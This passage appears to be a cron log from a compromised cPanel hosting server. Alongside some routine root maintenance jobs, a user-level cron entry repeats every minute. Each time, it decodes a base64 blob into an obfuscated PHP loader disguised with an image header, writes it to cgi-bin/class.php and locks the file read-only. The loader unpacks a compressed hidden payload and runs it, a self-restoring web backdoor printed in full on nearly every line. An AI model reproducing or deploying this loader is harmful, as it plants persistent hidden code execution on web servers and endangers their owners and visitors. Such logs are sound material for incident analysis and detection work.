0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:07:01 server CROND[19733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:08:01 server CROND[19896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:09:01 server CROND[19976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:09:01 server CROND[19977]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 23:10:01 server CROND[20041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 23:10:01 server CROND[20042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:10:01 server CROND[20043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:10:01 server CROND[20044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:11:01 server CROND[20163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:12:01 server CROND[20222]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 23:12:01 server CROND[20223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:13:01 server CROND[20328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:14:01 server CROND[20488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:15:01 server CROND[20549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:15:01 server CROND[20550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:15:01 server CROND[20551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:16:01 server CROND[20663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:17:01 server CROND[20729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:18:01 server CROND[20789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:19:01 server CROND[20977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:20:01 server CROND[21051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:20:01 server CROND[21050]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 23:20:01 server CROND[21052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 